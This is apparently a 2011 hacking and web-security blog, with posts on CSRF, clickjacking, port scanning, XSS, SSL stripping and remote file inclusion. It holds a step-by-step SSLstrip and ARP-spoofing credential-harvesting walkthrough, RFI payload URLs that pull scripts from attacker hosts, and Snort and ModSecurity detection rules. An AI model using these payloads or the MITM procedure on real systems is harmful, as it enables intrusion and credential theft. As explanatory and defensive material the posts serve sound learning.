Monday, July 11, 2011

Cross Site Request Forgery Attack

What is CSRF Attack

It is the attack where malicious site sauses user's browser to perform a unwanted action on trusted it. Here in this scenario unlike XSS attack Website's trust on user's browser is exploited .

It basically occurs on those website that takes data and sent the data or perform a action with that data . It does not take care from where request originated.


SCENARIO 
Bob might be browsing a chat forum where another user Malory had posted a message. Suppose Mallory has crafted an HTML image element that refernces an action on Bob's bank website.

 <img src=http://www.bank.com/withdraw?account=bob&&ammount=100000&for=Malory>

if bob's bank keep authentication info in cookies that hasn't expired then attempt by Bob's browser to load image will submit withdrwal  form with his cookies , thus authorizing transaction.

Therefore primearily target of this attack are webapplication that perform action based on input from trusted and authenticated user without requiring user to authorize a action.

CONCEPT 

 It basically occurs on those Website that takes dataand sent the data or perform action with tha data. It does not take care from where request is originated. If the Website is protected against XSS attack then also there is no surety that it will not be vulnerable to CSRF attack. CSRF will be successful on every site that has implicit authentication mechanism.

 Authentication Mechanism

 CSRF attack  exploits authentication mechanism of site ie, Basically site/Web authentication normally assures a site request from Certain browser but it did not assured who actually requested.
 Supppose Alice wants to visit a site T . T gives a Alice browser a cookie containing pseudorandom sessionId sid to track her session. Alice logs into site wiwth username and password credentials. The site record fact that alice logged into session sid . When Alic sends request to T her browser automatically sends session cookies containing sid.
 Suppose Alice vists a site M ,  that contains javascript that causes Alice browser to send request to site T. Alice browser helpfully appednds the session cookies sid  to the request on seeing the request came from Alice, so T perform the requested operation on Alice's account. This is successful CSRF attack.

 XSS vs CSRF
  1. XSS attack requires javascript while CSRF need not require javascript. 
  2. XSS malicious code can be filtered but in CSRF the malicious code is on 3rd party so it cannot be filtered .

PROTECTION FROM CSRF 

 There are two type of protection scenario .
  1. ServerSide protection
  2. Client Side protection 

Server Side Protection 

Different framework are used for web development hence CSRF protection can be deirectly built into these Framework . 
  1. Allow GET request to only retreive data and not to modify any data on server.
  2. Requiring all POST request to include pseudorandom value. when user visits a site a strong pseudorandom value is generated and it is stored as cookie on user's browser. When submitting request  form this pseudorandom valueis submitted as form value ands also as cookie value. Attacker can only modify form value but cannot modify cookie value hence for valid form submission both values shoul be same which will not be the case as attacker sets his random form value.  
 Client Side Protection 
Tool to prevent client side from CSRF attack is RequestRodeo. It works by acting like a proxy server b/w client and server. Any request if found invalid it strips authentication information from request . It has serious Limitation that it will not work when client side SSL authentication is used becauz RequestRodeo  analyzes the data as it is passs through proxy befor it is displayed.

Wednesday, June 29, 2011

AN INTRODUCTION To CLICK JACKING ATTACK............

Defination

"Clickjacking is a malicious technique of tricking web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages." - Wikipedia 

 Introduction 

 A vulnerability across a variety of browsers and platforms, a clickjacking takes the form of embedded code or script that can execute without the user's knowledge, such as clicking on a button that appears to perform another function.
The long list of vulnerabilities involves browsers, Web sites and plug-ins like Flash. 



 
How It Works  

ClickJacking is a little bit difficult to explain however try to imagine any button that you see in your browser from the Wire Transfer Button on your Bank, Post Blog button on your blog, Add user button on your web-site, Google Gadgets etc.
ClickJacking gives the attacker to ability to invisibly float these buttons on-top of other innocent looking objects in your browser.
So when you try to click on the innocent object, you are actually clicking on the malicious button that is floating on top invisibly.

In other words, the attack is thrown by a malicious web page embedding objects, possibly from a different site, such as framed documents or plugin content (Flash, Silverlight, Java…) which may lead to unwanted results if clicked by the current user (e.g. a “Delete all messages” button in your webmail or an advertisement banner in a click fraud scheme). Using DHTML, and especially CSS, the attacker can disguise or hide the click target in several ways which go completely undetected by the user, who’s easily tricked into clicking it in a more or less blind way.

JavaScript increases the effectiveness of these attacks hugely, because it can make our invisible target constantly follow the mouse pointer, intercepting user’s first click with no failure.
We can however imagine a few less effective but still feasible scriptless scenarios, e.g. covering the whole window with hidden duplicates of the target or overlaying an attractive element of the page, likely to be clicked (e.g. a game or a porn image link), with a transparent target instance.

Prevention




clickjacking can be prevented by using FRAME BUSTING but due to dependency of framebusting on javascript it can  be defeated . Therefore we use another technique to restrict frames ie: HTTP developer can send XFRAMEOPTION with html pages.


XFRAMEOPTION value contains token DENY , IE8 will prevent page from rendering ig it will be contained within a frame. 


If the value contains the token SAMEORIGIN IE8 will block rendering only if origin of top level browsing context is different from origin of context  containing XFRAMEOPTION-Directive.




Thank you

Tuesday, June 21, 2011

Port Scanning and types

INTRODUCTION

 Port Scanning is techniques to find out the open ports and services that are  running on them on target computer. This is the most important techniques and most widely used technique used by Hack3rs or an attacker to find out the ports that are opened and decide accordingly to which port to establish a connection wid target host.

 It can also be cosidered as an attack that sends client requests to a range of server port addresses on a host, with the goal of finding an active port and exploiting a known vulnerability of that service.

Port scanning is the process of connecting to TCP and UDP ports on the target system to determine what services are running or in a LISTENING state.


TYPES OF PORT SCANNING

  • TCP  Connect Scan :  The TCP connect() scan is named after the connect() call that's used by the operating system to initiate a TCP connection to a remote device. Unlike the TCP SYN scan (-sS), the TCP connect() scan uses a normal TCP connection to determine if a port is available. This scan method uses the same TCP handshake connection that every other TCP-based application uses on the network.  The TCP connect() scan to a closed port looks exactly like the TCP SYN scan.          
  1. For TCP  Connect request by sender if Response is RST (reset connection) it indicates PORTS are closed
  2. For TCP Connect request by sender if response is 3 way handshake connection established between sender and receiver then port is Open .                                                                                                                                                                                                                                                      
   
  •    TCP SYN SCAN :  This type of scan is half open because TCP 3 way handshake is not established . Open Ports reply wid SYN/ACK whereas closed ports respond with RST/ACK.   
  1. Sender sends a TCP SYN  request to destination and if from destination RST  response is gained then it means connection is reset and port is Closed. 
  2. Sender sends an TCP SYN request and gets an acknowledgement back then it means port is open   but  sends sends RST request to reset a connection so connection is never established.


  • TCP FIN SCAN:  It sends a FIN packet to target port. closed port should send RST packet back.while open ports do not respond.  
                       
     If the port is opened then no response is gained back.

  • TCP ACK SCAN: It attempts to determine access control List (ACL) rule set or identify if stateless inspection is beng used. If ICMP dstination unreachable , communication administrative prohibited message is raised port is considered to be filtered. 
Nmap's  unique ACK scan will never locate an open port. The ACK scan only provides a "filtered" or "unfiltered" disposition because it never connects to an application to confirm an "open" state. At face value this appears to be rather limiting, but in reality the ACK scan can characterize the ability of a packet to traverse firewalls or packet filtered links. 
  1. An ACK scan sends a TCP ACK frame to destination , if no response  or ICMP destination unreachable message is raised  then PORT are FILTERED .                                                                              
 
2 .When an ACK scan sends a ACK frame to destination and RST packet is received in response then it means connection is unfiltered . After Nmap scan unfiltered ports are shown up.                                                                                                                                                    

  • TCP IDLE SCAN:  To prevent scan from Trace we use IDLE scan . It uses an IDLE host to bounce the packet off and makes scan trace harder . FTP bounce scan uses FTP server to bounce packet off and make scan harder to trace.  
 While using an IDLE scan it will appear that port scanning is initiated from some 3rd party address instead of nmap station. It implements IP address spoofing and IP fragmentation identification sequences.
It Uses a Zombie   station which is basically act as 3rd party and can ensure consistent IP identification frames.  

  •  To begin the idlescan  process, nmap first sends a SYN/ACK to the zombie workstation to induce a RST  in return. This RST  frame contains the initial IPID that nmap will remember for later.                                                           
  • Nmap now sends a SYN frame to the destination address, but nmap spoofs the IP address to make it seem as if the SYN frame was sent from the zombie workstation. If this SYN frame is sent to one of the destination's open ports, the destination address will respond with a SYN/ACK to the previously-spoofed zombie workstation and not original workstation. The zombie workstation won't be expecting the SYN/ACK (because, it never really sent the SYN), so the zombie will respond to the destination station with a RST. The RST response will, as expected, increment the zombie's IPID.                                                          
  • The final step in the idlescan is for nmap to repeat the original SYN/ACK probe of the zombie station. If the IPID has incremented, then the port that was spoofed in the original SYN frame is open on the destination device. If the IPID has not incremented, then the port is not open.                                                             
  • Now at last Nmap station again sends SYN to Zombie and in response receives RST with IPID number increased then IT CONCLUDE PORT WAS OPEN . If IPID number does not increased then port was   closed.                                                                                                                                            
 
THANK U FRNDS till Next BLog














Saturday, June 18, 2011

Cross Site Scripting Attack Vulnerabiliy

INTRODUCTION

Cross-site scripting attacks are those in which attackers inject malicious code,
usually client-side scripts, into web applications from outside sources. Because
of the number of possible injection locations and techniques, many applications
are vulnerable to this attack method. Scripting attacks differ from other web
application vulnerabilities because they attack an application’s users, not an
application’s infrastructure, but they can still cause a great deal of damage.

WHAT IS XSS ATTACK
Scripting attacks inject code, usually a client-side script, into a web application's output. Although several client-side scripting languages exist, JavaScript is the most common, best known, and best supported.
Hackers can inject JavaScript (a routinely used scripting solution that gets
executed on the user’s web browser) which is normally used for legitimate functionality on websites,
but in the hands of a hacker can be used for malicious purposes. Here are but a few examples:
  •  steal cookies which can then be used to impersonate your customer and have access to their data and privileges. This is also known as Session Hijacking;
  •  redirect the user to another website of their choosing. Maybe one that may be quite offensive, or one that attempts to install malware onto users computer;
  •  display alternate content on your own website;
  •  do a port scan of the customers internal network, which may lead to a full intrusion attempt.
In order to accomplish a Cross-Site Scripting attack they need a Reflection Point. A Reflection Point is
any point where user input is reflected back by the website in any way. There are two primary classes of Reflection Points.
  1. Immediate / Non-Persistent :  Input from a customer is displayed immediately on the page
  2. Persistent :  When user content is stored and displayed at some later point to themselves and possible to others.
PERSISTENT XSS
A hacker is required to commit a bit effort to perform a successful attack against a Non-Persistent
Reflection Point that is vulnerable to Cross-Site Scripting. It requires them to deliver the attack by way
of a 3rd party such as e-mail (spam or targeted), chat, or a link from another website. It ussually occurs where a 3rd party is asked to comment on particular Product or topic.Hacker puts his comment alongwith malicious code that executes each time when customer visit that page on its browser script is run.

 Persistenat Reflection point

On some websites, customer content is stored into a database and then shown to themselves and
possible other customers at a later point. such are known as Persistant Reflection point. The attackers code get saved in database of target site and when customer makes particular query it gets executed again and again. or a sitaution like Once a hacker leaves a comment along with the malicious code, any customer visiting your site, who views the product and the associated comments will get attacked. There is no e-mail needed, no links from any other site, just visiting your site can cause your customers to have their accounts hijacked,
potentially have malware installed on their computers or any of the various possible scenarios a hacker
can come up with. A user has an implicit sense of trust when using a website (as opposed to E-Mails where they at least have a chance to avoid an attack by being cautious about unsolicited E-Mails).
Some persistent XSS attacks will attempt to upload malware to user systems which will often create warning alerts.

 DETECTION OF PERSISTANT  XSS  ATTACK 

Testing for persistent cross-site scripting attacks using an automated scanner involves very significant
technical challenges. Testing for non-persistent attacks is fairly simple: you perform an attack and
check the resulting page to see if the malicious code is present and if it will create a popup.

Persistent cross-site scripting is far more difficult to detect because the attack will only appear on a
page where user-generated content appears. Because user-generated content can
appear in a variety of ways, it is very difficult to detect reflection points. Finding the reflection point is
the only way to detect if the attack has succeeded. All other Web Application Scanners are only capable of testing for Non-Persistent and immediate Reflection Points, which means they would entirely miss the most dangerous potential problems on your website.

NTOSpider is the only web application scanner on the market that includes a Pre-Attacking Reflection
Analysis engine capable of properly detecting Persistent Reflection Points.

NON PERSISTENT XSS

The non persistant vulnerability is far most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request.
A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escsape or reject HTML control characters, a cross-site scripting flaw will ensue. Hence this show non persistent reflection point. Any sort of data that can be landed on your webpage from external source has potential of being infected by malicious scripts. A website basically contains two type of pages STATIC and DYNAMIC pages , a mistrusted content can be introduced in dynamic pages .

 It is very easy to detect it . Just type a  simple java script like (<script>alert(/XSS/)</script>)  in website search engine or any user input place and press enter,  if it contains non persistent XSS reflection point a alert box will be poped up therby confirming the presence of Non Persistent XSS vulnerability.

 When I tested for XSS vulnerability then i could find frequently many well known sites  to have such Security vulnerabilities .  

 Screnshot for certain sites is made available here:  





Various Session Information can be made exposed By XSS using javascript..





Will update more about XSS in my Next Post ...till then njoy ...
THANK U

Wednesday, June 15, 2011

SSL (Secure Socket Layer) Hijaking and LoopHoles


INTRODUCTION

The HTTPS and SSL/TLS protocols are at the essential elements of Web security and trusted ecommerce in present Scenario, but today at the Black Hat Briefings Web application security experts Robert  "R Snake" Hansen and Josh Sokol identified two dozen vulnerabilities of varying  criticality  in the fundamental architecture of Web browsers. These flaws essentially eliminate the protections that HTTPS and SSL are supposed to bring to the browsing experience. So basic Secure Socket Layer is no more a guaranteed solution for the secure browsing and data transfer.

This post discusses weakness in SSL  and how SSL certificate is exploited to make false certificate.
It also discusses how to use SSL Stripe tool to break SSL security.

WEAKNESS OF SSL

SSL heavily rely on X509 certificate structure to prove authenticity. For the SSL it is the common
name field of the X509 certificate that is used to identify authentic servers. For example , Paypal will
use www.paypal.com in the common name field. The signing process heavily relies on the above
convention. The Certificate Authorities will sign www.paypal.com, they don’t care whether you are requesting for anything.paypal.com or something.any thing.paypal.com – as long as you prove that you are paypal.com.
So there is no standards for issuence of Certificate nor any rule for what the fields in them are supposed to mean and which are required for authentication . Marlinspike’s SSLStrip attack demonstrated the combination of several attack techniques to exploit the above weaknesses and fool users/client applications into thinking they were using a trusted site/server, when in fact they were using a fake version of that site/server.

STRUCTURE OF SSL CERTIFICATE
X509 certificates are commonly formatted using ASN.1 notation. In PASCAL character string the NULL characters are treated as normal characters. They don’t have any special meaning. So NULL characters can be included into the common name field of X509 certificates.
So a request of type www.paypal.com.fakeorganization.com will be treated as valid request by CA (certificate authority) and certificate will be granted.The Certificate Authority will ignore prefix and sign the root domain fakeorganization.com. Now the SSL/TLS implementation treats the field in X509 certificate as C string and in C "null" means end of string.  therefore wwww.paypal.com and www.paypal.com.fakeOrganization.com are treated as identical. The owner of fake certificate can successfully  present his certificate as valid secure connection intended for original paypal.com. HERE MITM HAPPENS ON SSL.  (Man In The Middle).

HOW TO CRETE AND SIGN YOUR OWN CERTIFICATE

To sign your own certificate there is field in X509 certificate which need to be set FALSE in order to restrict domain owner to act as Certificate Authority  (CA= FALSE). Most of Certificate authority and web browsers implementation donot pay attention to check on this Field and certificate owner can set this field TRUE and can create their own Certificate.

SSL STRIP (A tool to perform SSL Hijaking)

  • SSL strip constantly watches over Http traffic and start acting as proxy server when user initiates an Https session.
  • While user think that secure session is created the SSL Stripe connects with requested server with a secure connection and all the connection between user and SSL Stripe is over http:// rather than https://.
  • SSL Stripe replaces all the link with https:// in page with http://
  • Thus Login details can be harvested and user security is breached .
  • Thus this is how Man In Middle Attack is implemented.
It replaces all the HTTPS link with client to HTTP links and connects with legitimate server over HTTPS link.
Images such as Favicon are replaced by images of familiar secure lock icon, to built trust of victim client.

 PROCESS OF USING SSL STRIP ON WINDOWS

 For using it on windows platform a tool SSL Stripe tool is used. For Linux  Firewall Managment tool iptable is used for port Forwarding. Port Forwarding is the utility in which traffic from one machine port is accepted and forwarded to another port of same machine.

PREREQUISTES :
  • Install Pyhton as SSL Stripe tool works over Python platform.
  • Two machines running windows on same LAN one attacker and one victim.
  • on Attacker machine SSL Stripes executes , on this same machine ARPSpoof command is executed.
STEP 1
Enable IP Forwarding on attacker's machine
In Regedit.exe locate following

HKEY_LOCAL_MACHINE\SYSTEM\currentcontrolset\services\TCPIP\Parameter
valueName= IPEnableRouter
ValueType : REG_DWORD
VlaueData : 1  (enables TCP/IP forwarding for all Http connections to that machine)

Restart PC

STEP2
Setup iptable to redirect the traffic to SSLStripe.

 Set a firewall rule that forwards HTTP traffic from the victim to hacker’s machine for modification. In Unix the an IPtables command would do that sudo iptables -t nat -A PREROUTING -p tcp –destinationport 80 -j REDIRECT –to-port 10000 It tells all HTTP traffic from victim, coming on port 80 of hacker’s machine to redirect it on port 10000 on the same hacker’s machine. For windows a utility is used to redirect the traffic from victim to attackers machine and Port 10000 which is default port for SSLStripe. this utility can be downloaded with regards to blog of Kenneth Xu (http://kennethxu.blogspot.com) from the link http://code.google.com/p/portforward/downloads/list)


STEP3
ARPSpoof  the target traffic to redirect to hacker machine 

In this the traffic from victim's machine is forwarded to attacker's machine by poisoning the victim's MAC table. Let the IP of victim be 192.144.1.14 and IP of gateway be 192.144.1.1, then after poisoning MAC table it will send traffic to hacker's machine considering it an Original Gateway .

 arpspoof -t 192.144.1.14 192.144.1.1

 ARP table of victim is updated with changed Gateway.

 STEP 4
 Run SSL Stripe on Hacker's machine

 Run the following command on Hacker’s machine python sslstrip.py -f lock.ico You can see the log file in the SSLStrip installation folder for logged credentials. The SSLStrip will log all the traffic coming from
Victim’s machine and strips the all the SSL link (https://) to http:// between the Victim and Hacker. Thus the traffic between the Victim to Hacker is transparent and Security of victim is breached.


 MITIGATION
 There needs to be an automated mechanism that ensures the end user's security which requires zero knowledge or participation from the end user to work. We can create such a secure mechanism with minor changes to DNS and web browsers. First, we use DNS to publish a list of websites that must operate in HTTPS through custom DNS records. Second, the web browser will automatically force a connection to an HTTPS page if instructed to do so by DNS and it will maintain a list of websites that are only to operate in secure HTTPS mode. We do this second part because we cannot always assume that DNS is trustworthy especially in the case of wireless hotspots. The DNS mechanism would only work as a toggle on to force HTTPS for all future web browsing sessions but it would not be permitted to toggle off HTTPS unless it was a trustworthy DNSSEC server. This means that once a user successfully visits a secure website for the first time, they will always remain secure for that website even if they cannot trust the DNS server they're using on public wireless hotspots.

Now that there is a real and tangible threat to HTTPS in the form of a tool like SSL Strip that hijacks any HTTPS website, the time to act on these recommendations for securing HTTPS is now. We need leadership from Microsoft, Mozilla, Apple, and Google today to secure the most important application on the Internet today. Google has already made some strides with a partial implementation, but we need a full implementation of these recommendations and we need everyone to jump on board.

THANK U



Saturday, April 30, 2011

   REMOTE FILE INCLUSION ATTACK BASICS and VULNERABILITIES EXPOSED

1)      Abstract
If you look at the logs of just about any production web server, you are bound to find
signs of a remote file include (RFI) attack. It is easy to disregard them as low hanging Internet
broadscan noise, but attackers would not be scanning the Internet for vulnerable hosts if they
were not also successfully exploiting them. This paper describes the mechanics of a RFI attack
by doing a code analysis and an attack walk through on a vulnerable application. Detecting an attack is discussed by writing sample IDS signatures and looking at related log files. The threat landscape is examined by taking a look at the tools attackers use to find and exploit vulnerable hosts—this is coupled with an actual attack transcript from a monitored RFI botnet. Multiple mitigation techniques are discussed ranging from secure programming practices to defenses at the network layer.


2) Introduction

Remote file inclusion (RFI) is a technique used to attack web applications from a remote computer.  Remote file inclusion attacks allow malicious users to run their own code on a vulnerable web server. The attacker succeeds in running malicious code on a web page by including code from a URL located on a remote server. When an application executes the malicious code it may lead to a backdoor exploit or technical information retrieval.
The application vulnerability leading to RFI is a result of insufficient validation on user input. In order to perform proper validation of input to avoid RFI attacks, an application should check that user input doesn’t contain invalid characters


or reference to an unauthorized external location. Php is suspectible to remote file inclusion attack because it allows file system operations to automatically open URL as if they were local files (allow_url_fopen).this capability used be seemingly used for local files system using directives  ‘include’ and ‘require’.
In most cases malicious code is injected into web servers using remote file inclusion attack. File  inclusions are vulnerabilities in web application that allows attacker to execute script by including it in existing script. The following php code allow server to act like client  and request file specified by the user:

<?php include ($_GET[page]); ? >

The following HTTP request shows how the attack is possible against that PHP code :

Index.php?page=http://www.hacker.com/c99.txt

Other type of vulnerabilities in web applications are also used including including url parsing code execution vulnerability,POST vulnerabilities and arbitrary file upload vulnerabilities.  In essence the script that can  be downloaded can be used to do anything it is programmed to do, with the privilege of web deamon.  In past few years dozens of file inclusion have been disclosed publicaly, Effectively a web application vulnerability serve as a remote exploit for attacking a web server. In one recent case, a group kept a list of hundred of compromised web servers with their exploit  commands in list of URLs reffered to them as ‘shells’.
               
3)Detection of RFI

Basic detection against remote file inclusion attack can be done by using google and google dorks .Google dorks is search string fingerprint of application that an attacker feed to search ebgine to get list of potential victims.
Certain google dorks are:
           
“inurl: index.php?page=”

Now this google dork will be matched withother URLs  in database of google and whichever matches is result of search engine.
Now to this that particular site for attack we modify the original url of site.
For example:
           
Modified url :

if webpage is redirected to google homepage then it means we can move to other web servers from particular location therby making site vulnerable to Remote file inclusion attack.
4) Vulnerabilities

Basically there are three types of web based vulnerabilities within a web server for remote file inclusion attack.
·         Exploiting variables in include fuction
·         Exploiting super global array in php
·         Poor coding technique

4.1) Exploiting variables in include function

Suppose  URL will be
accordingly include function in php will be somewhat like

include($basepath ,” foo.php”)

now if we modify the url it would be something like :

so now the value of the variable basepath is set to c99.txt, which is the mailicious code. After the c99.txt is loaded on web server the entire server is yours and hacker can execute its own query over the webserver.

4.2) Exploiting superglobal array in php

REQUEST  is the super global array in php stores all the information comes through variables from HTTP request either from GET or POST .
For example:

accordingly the request array will be modified
include($_REQUEST(‘own_me’).’/foo.php’)
hence the value of variable is changed in super global array.

is NULL BYTE that is attached to modified url so as to prevent the web server to append any of its extension like ‘.php ‘ etc.

4.3) Poor coding technique

Poor coding techniques involves bad input validation thereby leaving a loophole within the web application. For example:
           
            if(!$page)
{
 $page="data.php";     
}
  include ($page);

Here variable page is validated poorely using if condition  that allows user to set value of $page variable and include it.

5) Basic PHP vulnerabilities

While PHP scripts are not inherently bad, the user could either inadvertently write a script that allows the vulnerability or maliciously create a script to take advantage of certain PHP functions. A web administrator may not need to worry about such scripts for the main website that he/she manages, but other users on the system which create and publish web content could create bad PHP scripts. The web server administrator must be aware of such issues with PHP so none of the pages on the system have vulnerabilities. There are two major types of PHP vulnerabilities, local and remote. The local vulnerabilities are designed such that the attack is being made on the system on which the PHP script resides. A remote vulnerability executes a PHP script on one web server, which in turn goes out to get another PHP script and then is executed on the web server. In this instance, an attacker could place a PHP script on some other server which would cause vulnerability to a web server which executed it. Then the attacker can essentially tell the web server they are trying to exploit to grab that PHP file and execute it, causing the web server to be vulnerable. Specific local and remote vulnerabilities can be found in the following sections.

5.1) Local Vulnerability

There is really one major known locally vulnerable command in PHP. This command is the  $_GET[] command, which allows the user to specify arbitrary values as variables through the URL. The $_GET command will take any variable in the URL called "page" and place it in the variable $page. Then $page is used with the include command. The include command will attempt to parse whatever is in the variable $page as a PHP script. If the file does not contain PHP script, it will basically just display the contents of the file. An attacker can then specify whatever they want in the URL and it will be shown on the web page. If an attacker specifies a URL like http://www.myhost.com/index.php?page=/etc/passwd and index.php contains the above code, the attacker will see the contents of "/etc/passwd" on the screen.

5.2) Remote vulnerabilities

Another way that a PHP script can introduce vulnerability is through the use of commands which get PHP scripts from other sites for execution locally. In this scenario, an attacker can set up their own web site which hosts a PHP script that contains a vulnerable command. The attacker can then tell the web site they wish to
attack to get the vulnerable PHP script from the web site that they set up and execute it.
 <?php
include($lib_dir, “./language.php”)
?>
<?php
passthru(“bin/ls/etc”); ?>
The first PHP statement listed is on the server which the attacker wants to exploit. The variable libdir is defined on the server. An attacker could modify the libdir variable to put in whatever web site they would like to visit. In this case, if libdir was set to http://attackers.website.org and languages.php existed on that server,
the server would go thttp://attackers.website.org and attempt to execute languages.php on its own server.Within languages.php is the second PHP statement shown above. The passthru command locally executes. whatever is contained in the command as a shell script. In this case, the attacker would see the result of the shell command "/bin/ls /etc".

5.3) Vulnerabilities caused by PHP configuration file

Some vulnerabilities are introduced by incorrectly or not setting certain configuration parameters for the PHP module. Certain commands are not as well known as others or may not be documented properly. Many of
these configuration parameters are known by the PHP community, but many web server administrators are not part of that community and do not know much about PHP. The configuration parameters could change and
some could be added (or removed) at any time. The web server administrator would need to keep up with all of these changes.

6) Detection of attack from Analyst point of view

An Intrusion Analyst will look for signs of an RFI attack in two log sources: The first being an IDS event (Snort in our case) and the second being the application logs from a web
server. Before Snort begins generating logs for an attack it needs to know what to look for.

6.1)IDS EVENT

alert tcp any any -> any 80 (msg:"eNetman page RFI Attempt"; \
flow:established,to_server; content:"GET "; depth:4; \
uricontent:"/enetman/html/index.php?"; uricontent:"page="; \
pcre:"/page=\s*http\:\//U"; flowbits:set,rfi; sid:200902060;)

This signature matches on any client to server traffic to TCP port 80 (HTTP) that contains a HTTP GET request for "/enetman/html/index.php" and is trying to pass a URL in the "page" parameter. Since passing an absolute URL parameter to this application is not a legitimate use case, we can be certain that a hit on this signature indicates a RFI attempt. To determine whether an attacker is trying to exploit the application, the analyst will have to examine the Snort log files for an indication such as the example log entry file.

6.2) Web Server Log

A defense-in-depth architecture maintains multiple sources and levels of logging. In this
case, an analyst can also examine web server application logs for signs of an attack. For
example,  a Apache log file

attacker - - [07/Feb/2009:00:00:04 -0600] "GET
/enetman/html/index.php?page=http://remote/include_me.txt HTTP/1.1" 200 2425

The HTTP status code in conjunction with the first eNetman Snort rule allows an
additional signature to be developed that provides a further indication that an attack was successful. When the first rule fires it sets a variable called "rfi".

alert tcp any 80 -> any any (msg:"Successful RFI Attempt!"; \
flow:established,to_client; content:"200 OK"; \
flowbits:isset,rfi; sid:20090208;)

Above code  checks to see if this variable is set, meaning an RFI attempt has been made; it also checks whether the response code returned by the server indicated a successful request.

7) Prevention from RFI
Prevetion from remote file inclusion consist of two approaches 
7.1) Custom Prevention
7.2) Generic Prevention

7.1)Custom prevention method

This method protects a known vulnerability, in many cases a vulnerability that was already exploited by malicious users.  The protection will be implemented by disallowing input of URLs in specific vulnerable parameters. But such a protection would  imply a serious constraints on functionality of web application.

7.1.1) Proper coding techniques

This involves the ability of programmer to code in such a manner that it dose not leaves out any loopholes within the application

<?PHP
$page= $_GET[‘page’]
Switch($page)
 {
 Case : “” :
 Case “home.php”:
   include “home.php”;
   break;
Case “about.php”:
   include “about.php”;
   break;
default :
   echo “invalid page”;
    break;
}
?>
 Now only the pages mentioned within switch case wil be called thereby denying permission for any other page to be included;

7.1.2) Data validation

Data validation is done to check the input coming from any external source this is called Data validation. Common ways by which php receives untrusted data from outside world :
a)$_GET[] data received from user query string
b)$_POST[ ] data received from HTML form.
c)$COOKIES[ ] data ,sent from browser.
d)$_REQUEST[ ]data ,all above data combined into single array.
<?php
$color= ‘RED’;
$LEGAL_COLOR= {
                                    ‘RED’;
                                    ‘YELLOW’;
                                    ‘BLUE’;
                                    ‘GREEN’;
                                 }
If(isset($_GET[ ‘color’ ]))
            {
     $_GET[ ‘color’]= trim($_GET[ ‘color’]);
If(inarray($_GET[‘color’], $LegalColor, true))
            {
            $color= $_GET[‘color’];
            }
?>

The problem with mitigation of known vulnerabilities is that:

• It can only protect from already known vulnerabilities; taking such a passive approach for protecting web applications is a risk that is not recommended.
• It will not solve the RFI vulnerability in proprietary web application if there were no resources to perform code review or proper penetration testing.

7.2) Generic Prevention

When trying to use a negative security approach in order to have generic solution for the RFI attack we will try to search for a signature such as “(ht|f)tps?://”. This approach will result in many false positives since:
There are request parameters which are used as external link (e.g. - accepts http:// as valid input).
There are request parameters that are prone to false positives, these parameters are also addressed in this document as free text parameters. In many cases these parameters contains user input (submission of free text from the user to the application) and in other cases parameter that contains large amount of data (may include URL links that can be false detected as RFI attack).

7.2.1) Zero Day protection

A Zero-day rule can have any of the following conditions:

Searching for IP address

Using an IP address as external link may indicate an attack. And therefore a rule for detecting such a condition should search for the pattern “(ht|f)tps?://” followed by an IP address.
A typical attack using an IP address looks like:

GET /?include=http://192.0.55.2/hacker.txt HTTP/1.1

Security rule to detect such type of attacks is:
SecRule “ARGS” “@rx (ht|f)tps?://([\d\.]+)” “
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File Inclusion’ “

7.2.2) The Php function include()
We have seen many attack vectors that tries to include remote file by using injection of code typically containing the PHP keyword include.
A rule for detecting such a condition should search for “include(“ followed by “(ht|f)tps?://” A typical attack using an include PHP keyword looks like:
GET/?id={${include(“http://www.malicuos_site.com/hacker.txt“)}}{${exit()}}HTTP/1.1
Security rule to detect such type of attack is:
Sec SecRule “ARGS” “@rx\binclude\s*\([^)]*(ht|f)tps?://”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File
Inclusion’  :
7.2.3) Remote inclusion ends with question mark
Many of the RFI attack vectors contain at least one question mark at the end of the inclusion without any parameters following it, this is because they try to bypass applications that append information to the user input.
For example,
include( $format . ‘.php’ );
The $format is the user input and the “.php” is added as extension, appending “?” to the end of the user input eliminates the appended extension.  A rule for detecting such a condition such an attack should search for “(ft|htt)ps?.*\?$”.
 A typical attack looks like
GET /?include=http://www.malicuos_site.com/hacker.txt? HTTP/1.1
Security rule to prevent such type of attack is:
SecRule “ARGS” “@rx (ft|htt)ps?.*\?+$”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File  Inclusion’.

8) Implementation Issues
Issues that need to be addressed when trying to implement the suggested rule set are:
1)      Manual configuration vs. automatic learning –the positive securityprotection approach is very valuable for RFI detection; automatic learning of parameter types is a better option than the manual configuration option.
2)      Automatic learning should be able to:
a). Detect URL type properly; for example detect properly URLs with and without parameter as well as decoded URLs.
b) Detect free text parameter – detect parameters that contain user free text so they can be excluded in special cases.
c. Detect changes in the application – learning of parameters should detect changes in the application (e.g
parameter that was learned as valid external link is changed to validate only internal link)
  3) False positives – the suggested rule set  doesn’t   ensure any false positive detection. A user should choose which of the rules fit his application and which rules should be disabled.
9) Conclusion
From my personal experience using the suggested rule set reveals most of the RFI attacks and with minimal false positives. Some of the rules overlap but the reason for that is the need to make it possible to disable rules that result in false positives and still remain with a solid rules set that gives good protection for the desired web application.